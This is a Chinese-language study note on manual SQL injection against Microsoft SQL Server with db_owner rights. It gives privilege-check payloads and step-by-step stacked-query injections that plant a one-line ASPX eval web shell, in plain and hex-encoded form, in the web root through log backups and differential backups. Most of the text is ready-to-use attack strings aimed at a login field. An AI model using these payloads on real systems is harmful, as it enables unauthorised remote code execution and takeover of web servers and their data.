1. 程式人生 > 其它 >學習筆記二十三:Mssql手注之db_owner許可權處理

學習筆記二十三:Mssql手注之db_owner許可權處理

MSSQL全稱: Microsoft SQL Server

3個許可權: sysadmin \ db_owner \ public

許可權判斷

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統管理員

and 1=(Select IS_MEMBER('db_owner')) //判斷是否是庫許可權

and 1=(Select IS_MEMBER('public'))

Getshell前提

db_owner許可權

網站物理路徑,也叫網站絕對路徑,可以通過讓網站報錯來獲取

Getshell姿勢

Log備份Getshell

;alter database test set RECOVERY FULL-- //更改資料庫的恢復模式為完整模式,test是資料庫名

;create table cmd (a image)-- ///建立cmd表,a是欄位名,image是欄位型別

;backup log test to disk = 'c:/1.bak' with init-- //進行備份

;insert into cmd (a) values ('<%@ Page Language="Jscript"%> %eval(Request.Item["hackdog"],"unsafe");%>')-- //插入一句話木馬

;backup log test to disk = 'C:/Users/Administrator/Desktop/wwwroot/xf.aspx'-- //將日誌備份放進網站,之後就可以通過網站觀察是否成功獲取webshell

;drop table cmd-- //刪除cmd表,也許資料庫內已有這張表,那麼我們在建立之前要先把它刪除

差異備份Getshell

1.首先完整備份一次(c:\ddd.bak為所備份未見)

backup database 庫名 to disk = 'c:\ddd.bak';--

2.建立表並插入資料

create table [dbo].[dtest] ([cmd] [image]);

insert into dtest(cmd)

values(0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c28526571756573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e);--

3.進行差異備份

backup database 庫名 to disk='目標位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

其中上面那段16進位制碼其實就是這個一句話木馬的內容:<%@ Page Language="Jscript"%> <%eval(Request.Item["hackdog"],"unsafe");%>

admin2' aNd 1=1 aNd '1'='1

c:\Users\Administrator\desktop\l\default.aspx.cs:503

admin2';alter database test set RECOVERY FULL--

admin2';drop table cmd;--

admin2';create table cmd (a image);backup log test to disk = 'c:/x.bak' with init;insert into cmd (a) values (0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c28526571756573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e)--

admin2';backup log test to disk = 'c:\Users\Administrator\desktop\l\darkxx.aspx'--

admin2';backup database test to disk = 'c:\x.bak';create table [dbo].[cmd] ([colu] [image]);insert into cmd(colu)values(0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c285265717 56573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e);--

admin2';backup database test to disk='c:\Users\Administrator\desktop\l\d2.aspx' WITH DIFFERENTIAL,FORMAT;--

admin2';drop table dtest--